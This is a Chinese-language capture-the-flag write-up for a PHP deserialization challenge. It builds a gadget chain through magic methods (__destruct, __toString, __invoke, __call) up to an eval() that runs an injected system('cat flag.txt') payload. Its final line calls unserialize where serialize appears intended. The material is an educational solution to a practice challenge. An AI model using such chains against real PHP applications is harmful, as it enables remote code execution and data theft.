复现领航杯
[web]ctf_uuunserialize
源码
<?php
class blue
{
public $b1;
public $b2;
function eval() {
echo new $this->b1($this->b2);
}
public function __invoke()
{ $this->b1->blue();
}
}
class red
{
public $r1;
public function __destruct()
{
echo $this->r1 . '0xff0000';
}
public function execute()
{
($this->r1)();
}
public function __call($a, $b)
{
echo $this->r1->getFlag();
}
}
class white
{
public $w;
public function __toString()
{ $this->w->execute();
return 'hello';
}
}
class color
{
public $c1;
public function execute()
{
($this->c1)();
}
public function getFlag()
{
eval('#' . $this->c1);
}
}
if (isset($_POST['cmd'])) { unserialize($_POST['cmd']);
} else { highlight_file(__FILE__);
}
解题
构造POP链,先讲一下两个魔术方法:
__invoke() -> 调用函数的方式调用一个对象时的回应方法
__call() -> 当调用一个对象中的不能用的方法的时候就会执行这个函数
首先,考虑文件包含flag.txt
这里用闭合来把#绕过
$a = new color();
$a->c1 = "?><?php system('cat flag.txt'); ?>";
$a->getFlag()
然后,发现red里面可以调用getFlag()
$a = new color();
$b = new red();
$a->c1 = "?><?php system('cat flag.txt'); ?>";
$b->r1 = $a;
$b->xxx(); # 即 $b->__call();
怎么去调用不存在的方法呢?
blue的blue(),red的getFlag()都是red没有的方法
这里用blue
$a = new color();
$b = new red();
$c = new blue();
$a->c1 = "?><?php system('cat flag.txt'); ?>";
$b->r1 = $a;
$c->b1 = $b;
$c->__invoke();
那就要找$c();,发现在red和color里面都有
用red试试
$a = new color();
$b = new red();
$c = new blue();
$d = new red();
$a->c1 = "?><?php system('cat flag.txt'); ?>";
$b->r1 = $a;
$c->b1 = $b;
$d->r1 = $c;
$d->execute();
white里面有调用execute()的地方
$a = new color();
$b = new red();
$c = new blue();
$d = new red();
$e = new white();
$a->c1 = "?><?php system('cat flag.txt'); ?>";
$b->r1 = $a;
$c->b1 = $b;
$d->r1 = $c;
$e->w = $d;
$e->__toString();
color里面和red里面都有这样的用法
考虑到red有__destruct(),一起写了
$a = new color();
$b = new red();
$c = new blue();
$d = new red();
$e = new white();
$f = new red();
$a->c1 = "?><?php system('cat flag.txt'); ?>";
$b->r1 = $a;
$c->b1 = $b;
$d->r1 = $c;
$e->w = $d;
$f->r1 = $e;
unserialize($f);
完毕
(我自己的网站禁用了system,用phpinfo演示
